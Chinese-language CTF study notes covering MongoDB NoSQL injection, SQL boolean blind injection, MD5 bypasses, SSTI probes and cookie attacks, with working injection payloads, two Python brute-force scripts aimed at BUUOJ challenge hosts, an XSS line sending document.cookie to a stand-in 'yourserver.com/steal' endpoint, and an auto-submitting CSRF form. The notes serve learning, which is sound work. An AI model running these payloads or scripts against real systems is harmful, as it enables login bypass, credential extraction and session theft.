NoSQL注入
意外在学习内网渗透途中接触到了NoSQL注入,发现知识库里也没有,所以在这里记录一下
什么是NoSQL?
NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。NoSQL 是一项全新的数据库革命性运动,早期就有人提出,发展至 2009 年趋势越发高涨。NoSQL的拥护者们提倡运用非关系型的数据存储,相对于铺天盖地的关系型数据库运用,这一概念无疑是一种全新的思维的注入。
大多数遇到的NoSQL注入,其采用的数据库都是MongoDB。
NoSQL 注入的分类
有两种 NoSQL 注入分类的方式:
第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。
第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,这种分类方式很像传统 SQL 注入的分类方式。
1重言式注入又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。
1联合查询注入联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。
1JavaScript 注入MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。
1盲注当页面没有回显时,那么我们可以通过 $regex 正则表达式来达到和传统 SQL 注入中 substr() 函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。
常见的NoSQL为PHP中的NoSQL和Node.js中的NoSQL
PHP 中的NoSQL注入
重言式注入:
重言式注入通常也是判断是否为NoSQL的第一步。 我们需要用$ne关键字构造永真条件来完成NoSQL注入
1username[$ne]=1&password[$ne]=1最后如果数据库没有进行任何过滤的话,这里就会输出所有的用户名和用户密码 这里的原理是,$ne关键字在MongoDB查询语句中意思是不等于,也就是说我们上传了一个永真条件,使得登陆成功,但是服务端查不到username是1,password也是1的账户,只能输出所有的账户
所以我们也可以使用以下的payload:
1 2 3username[$ne]=&password[$ne]= username[$gt]=&password[$gt]= username[$gte]=&password[$gte]=JavaScript注入:
MongoDB Server 是支持 JavaScript 的,可以使用 JavaScript 进行一些复杂事务和查询,也允许在查询的时候执行 JavaScript 代码。但是如果传递不干净的用户输入到这些查询中,则可能会注入任意的 JavaScript 代码,导致非法的数据获取或篡改。
要想使用JS注入,我们需要了解一下$where操作符。
在MongoDB中,可以通过$where操作符直接执行JavaScript代码如下实例:
db.users.find({ $where: “function(){return(this.username == ‘whoami’)}” }) { “_id” : ObjectId(“60fa9c80257f18542b68c4b9”), “username” : “whoami”, “password” : “657260” }
由于使用了 $where 关键字,其后面的 JavaScript 将会被执行并返回 “whoami”,然后将查询出 username 为 whoami 的数据。
某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 $userData 获取查询条件:
1db.users.find({ $where: "function(){return(this.username == $userData)}" })然后,攻击者可能会注入一种恶意的字符串如 ‘a’; sleep(5000) ,此时 MongoDB 执行的查询语句为:
1db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" })如果此时服务器有 5 秒钟的延迟则说明注入成功。 值得注意的是,在 MongoDB 2.4 之前,通过 $where 操作符使用map-reduce、group 命令可以访问到 Mongo Shell 中的全局函数和属性,如db,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。 在MongoDB 2.4 之后db访问不到了,但还是可以构造万能密码查出用户信息
布尔盲注: 当页面没有回显的时候可以使用$regex正则表达式来进行盲注,$regex可以达到和传统SQL注入中substr()函数相同的功能。
和传统SQL注入一样,在已知用户名的情况下,我们需要知道密码长度。可以使用
username=admin&password[$regex]=.[4] (“[]”中的数字可以更改来确定密码长度,如果[4]为真,[5]为假,则密码为4位)
Node.js中的MongoDB注入
Node.js中的MongoDB注入主要是重言式注入,通过构造永真式万能密码实现登录绕过 另外,如果过滤了$ne关键字可以使用Unicode编码绕过。 在这里贴一个布尔盲注用于爆密码的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41plaintext import requests import string password = '' url = 'http://node4.buuoj.cn:27409/login.php' while True: for c in string.printable: if c not in ['*', '+', '.', '?', '|', '#', '&', '$']: # When the method is GET get_payload = '?username=admin&password[$regex]=^%s' % (password + c) # When the method is POST post_payload = { "username": "admin", "password[$regex]": '^' + password + c } # When the method is POST with JSON json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c) headers = {'Content-Type': 'application/json'} r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json #r = requests.post(url=url, data=post_payload) if '但没完全登录' in r.content.decode(): print("[+] %s" % (password + c)) password += c # 输出: # [+] 4 # [+] 42 # [+] 422 # [+] 4227 # [+] 42276 # [+] 422766 # ...... # [+] 42276606202db06ad1f29ab6b4a1 # [+] 42276606202db06ad1f29ab6b4a13 # [+] 42276606202db06ad1f29ab6b4a130 # [+] 42276606202db06ad1f29ab6b4a1307 # [+] 42276606202db06ad1f29ab6b4a1307f关于Linux中的管道符 |
管道符在以前RCE的时候也见到过但是没有进行系统研究,最近刷题的时候又遇到了,所以在这里记录一下 使用|可以将两个命令分隔开来,同时管道符左边命令的输出可以作右边命令的输入 因此在遇到一些已经可以执行命令(比如Ping)的靶机上,通过|连接cat或find或grep命令来找到flag
MD5
MD5绕过真是五花八门,ffifdyop和129581926211651571912466741651878684928可用于SQL注入时语句经过MD5加密之后的绕过,其原理是:提交的字符串经过加密形成的16进制字符串转换成10进制数字后对应的asii表内容为:‘ or ‘ 6……。 另外,数组绕过还可以绕过if($_POST[‘param1’]!==$_POST[‘param2’]&&md5($_POST[‘param1’])===md5($_POST[‘param2’]))
SQL布尔盲注
第一次在题目中遇到布尔盲注,所以在这里记录一下 题目:
[[CISCN2019 华北赛区 Day2 Web1]Hack World 1](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World)
我一开始怀疑是NoSQL(因为题目提示是SQL注入,PHP),结果尝试username[$ne]=1&password[$ne]=1发现已经被过滤了。遂尝试普通的SQL注入 输入*1’ or 1=1 –+和1;show databases();#*发现均被过滤,而输入1和2的时候登陆成功,输入3以上的数字以及字母都会报错(回显bool flase) 所以猜测这里需要布尔盲注,同时屏蔽了关键词 尝试Fuzz一下看看屏蔽了哪些关键词
1 2 3 4这里粘贴一些用于Fuzz的字典 https://github.com/Underwood12/FuzzDict 这是Fuzz教程 https://www.bilibili.com/video/BV1Zs42137tf题目给库名和表名都是flag 所以用id=0^(ascii(substr((select(flag)from(flag)),1,1))>101) 来查询,由于当>102的时候报错,说明第一个字符就是102的ascii所对应的字符,也就是f 然后使用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35plaintext import requests url = "http://bdff4bff-23c2-43c2-969e-74bedf958792.node3.buuoj.cn/index.php" result = "" num = 0 # 用了来判断是不是flag已经拼完整了 for i in range(1, 60): if num == 1: break for j in range(32, 128): payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j) # print(str((i-1)*96+j-32)+":~"+payload+"~") data = { "id": payload, } r = requests.post(url, data=data) r.encoding = r.apparent_encoding if "Hello" in r.text: x = chr(j) result += str(x) print(result) break if "}" in result: print(result) num = 1 break得到flag
SSTI
做了一道BUUCTF题,接触了许多新的知识点。在这里记录一下 题目在这:
👉 [BJDCTF2020 题目链接](https://buuoj.cn/challenges#[BJDCTF2020]Cookie is so stable)
1.SSTI
SSTI是这道题所考察的知识点,所以写在最前面
如何判断是SSTI
众所周知,SSTI是利用服务器模板漏洞,在模板引擎中注入恶意代码来进行攻击。 所以我们可以通过输入一些特殊的“探针”,观察服务器响应的变化来判断是否存在SSTI 常见的SSTI探针:
{{77}} # Jinja2, Nunjucks, Twig等 ${77} # JSP, Freemarker, Spring <%= 7 * 7 %> # EJS (Embedded JavaScript) #{7*7} # Thymeleaf
我们可以在输入框、URL参数、HTTP头、Cookies等位置尝试输入这些探针。然后查看页面返回里有没有49,如果有49,说明这里执行成功了,则存在SSTI漏洞
不同的模板中使用不同的注入格式
- Jinja2 和 Twig: 使用
{{ }}- Freemarker 和 Spring: 使用
${ }- EJS: 使用
<%= %>- Thymeleaf: 使用
#{ }有时候会对大括号之类的进行过滤,所以可以用Unicode进行绕过2.这道题提示查看Cookie,看看能从Cookie中突破的还有什么?
Cookie可以从以下方面入手 1.HttpOnly、Secure、SameSite 标志:如果Cookie没有设置这些标志,可能可以通过XSS攻击窃取Cookie。 2.弱JWT签名:如果JWT使用弱的对称加密密钥(如 secret)或无签名 (none algorithm),可以直接伪造JWT。 3.客户端验证:CTF中常见的“role=guest”→“role=admin”权限提升。 4.会话固定 (Session Fixation):如果你能控制Session ID,可能可以冒充管理员。
这里详细写一下第一点和第二点
一、HttpOnly、Secure、SameSite 标志 我们可以使用F12打开控制台,然后在应用程序 (Application)”→“存储 (Storage)”→“Cookies”中,检查Cookie的属性:
1 2 3HttpOnly:如果未启用,可能可以通过XSS攻击来窃取Cookie。 Secure:如果未启用,可能会在HTTP而不是HTTPS上传输Cookie。 SameSite:如果为None,可能可用于CSRF攻击。1. 利用 HttpOnly
开启HttpOnly则禁止通过JavaScript访问Cookie 如果这里是关的,那就可以
1 2plaintext <script>fetch('http://yourserver.com/steal?cookie=' + document.cookie);</script>通过钓鱼的方式来获取管理员的会话ID
2. 利用未设置 Secure 的 Cookie
使用Burp Suite或Wireshark进行抓包。 在HTTP请求中,寻找Cookie: PHPSESSID=xxxx。 如果会话ID出现在HTTP请求中,而不是HTTPS中,则可以劫持会话。 如果题目考察是中间人攻击 (MITM),你可以使用Wireshark来捕获Cookie: 过滤器:http.cookie。 查找“Set-Cookie”或“Cookie”字段中的会话ID。
3. 利用不安全的 SameSite 属性
如果SameSite标志为None,则跨站请求可以携带会话ID。 这使得CSRF攻击成为可能。 在攻击者的网站(比如 http:/ /evil.com)上放置以下表单:
1 2 3 4 5plaintext <form action="http ://victim.com/change_password.php" method="POST"> <input type="hidden" name="password" value="newpassword123"> </form> <script>document.forms[0].submit();</script>如果受害者访问evil. com,表单会在受害者的会话中自动提交。
如果SameSite=None,浏览器会将受害者的会话ID (PHPSESSID) 自动携带到请求中,管理员的身份将被利用。